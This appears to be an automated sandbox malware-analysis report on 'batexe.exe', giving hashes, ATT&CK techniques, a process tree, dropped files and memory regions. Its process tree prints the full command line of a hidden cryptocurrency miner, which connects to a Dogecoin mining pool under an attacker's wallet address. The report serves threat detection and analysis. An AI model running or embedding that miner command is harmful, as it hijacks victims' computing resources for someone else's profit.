73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
314s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12-02-2024 12:29

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5116	b2e.exe
2308	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
2308	cpuminer-sse2.exe
2308	cpuminer-sse2.exe
2308	cpuminer-sse2.exe
2308	cpuminer-sse2.exe
2308	cpuminer-sse2.exe
2308	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2316-1-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 5116	2316	batexe.exe	85
PID 2316 wrote to memory of 5116	2316	batexe.exe	85
PID 2316 wrote to memory of 5116	2316	batexe.exe	85
PID 5116 wrote to memory of 1968	5116	b2e.exe	86
PID 5116 wrote to memory of 1968	5116	b2e.exe	86
PID 5116 wrote to memory of 1968	5116	b2e.exe	86
PID 1968 wrote to memory of 2308	1968	cmd.exe	89
PID 1968 wrote to memory of 2308	1968	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Users\Admin\AppData\Local\Temp\A5C1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A5C1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A5C1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C9F2.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1968
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A5C1.tmp\b2e.exe

Filesize
1.4MB

MD5
bf82d022d7d9099830d6639156cce76c

SHA1
cc45f7c66c877f1f714232ac07851397dc017b46

SHA256
130ddf376b15fc1cdb34959a784c7eec8d2d0917257f9666123f8616e259f3b8

SHA512
a87f854026ee021790748391605a0aecbd4f94c025e035e66f0745e3f3f48296cb063a762e1712716a7859e1bfc85e8f2b3e470c600868d116239fff001dd2ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\A5C1.tmp\b2e.exe

Filesize
320KB

MD5
88364d3a1722b83013616c5ae51fd6d7

SHA1
d6727613607431104a14f30001a7e1af8e2bf026

SHA256
70ea586c99e68feae0fd4579a9d93d4e0fd46b623f35b3cdbcf4fca2f6e3e6d4

SHA512
ba46a975471bad7f3aa1f333317fb152eab233934af7d648454cfbf2bd852d7745906fc407c5a4a6c60d78368486587f21aeaf9f12dbdf684de818c8e06a9e43

Download Submit
C:\Users\Admin\AppData\Local\Temp\C9F2.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
a63e938fa63b1629d97faa26c093d005

SHA1
db8529026bb18b32e70286d5cd3aed229c22bcb7

SHA256
23ceb8597ae3a2006f5997c62d93f9ec08b48397a4c07cbe49e84c6c9e7598ce

SHA512
294fd15e048d3eba5ac3791ba8bbf29d4878e3d0fe1e0cc55754282d843281fb4c68a7978662d53316f3582dea4011c5a39eb56687c4259a89e557bdc4e9bae8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
d417af2bb97aa333900a2aec22654d62

SHA1
58a8df30575a04f5ad3b9d5d5db55809f388663c

SHA256
6a2b595e8482a5d5ec48ad9f3131e634ec3f4e704489fb0c6d8786b4ba4e8834

SHA512
99a939ce070db190b27cdb1ed5d4ed7b56444b940ae5dcecc15fc6925bc3020cff9690fe1f554ac7245bf0e41fa3b4ff1c8eb2801152029904d5b3549e4825ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
177534020e5bb979f25df507a5ee2b2c

SHA1
51ec7b5c904fe49a0ffde3d3d92427547f8cb731

SHA256
eedc452054a8834dec6554dcbf7a3b05a73e79652bc1f145fc95dc37af366a2e

SHA512
ef96713d32e9fdeb8a12ce71b5cfa17faeb1b12c9099ecdc5e350e3961b9dcb83e0bcc9321236d6f5944de51ad29fbc320ebc2fcb2e80518f3218891c320ef15

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
e3cd4a9ea827303d90a98ef87d550b75

SHA1
7a1292466d2425f677c75908a6f2b5c06b9bfe0b

SHA256
c6d3630f6034fc2bdb33ea9d88d0e9e8b5f6789db0cbab42ec8e2223525889b3

SHA512
7e7882bbcc2061824c9aaf78dec51f5d8c3e9fd6aef7ef6bf43438c72b1d2f79d061ca19a8da97bee414963f7aa0425af8ff3933bff321a89b1953a2cc18fb41

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
7598bc801710e4839422222f61ff9f9b

SHA1
c8cac84ca1e5b38dc1b5e043d40330030cddf553

SHA256
ac9671d64fa1fde6d688f760778eb47fa2df4015dbe5be7920d7f5c7d69a7805

SHA512
181af81ad60112acfa6fa4d33d867b98734177d90a6dbbf23597b6d64a194f457d489f30e1a1f2b164b2a6f64bb92c231c10c279875a405476ba35c1c58a4677

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2308-46-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2308-57-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2308-107-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2308-102-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2308-47-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/2308-48-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2308-49-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2308-50-0x000000006F190000-0x000000006F228000-memory.dmp

Filesize
608KB

Download
memory/2308-97-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2308-43-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2308-62-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2308-67-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2308-72-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2308-87-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2316-1-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5116-56-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5116-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download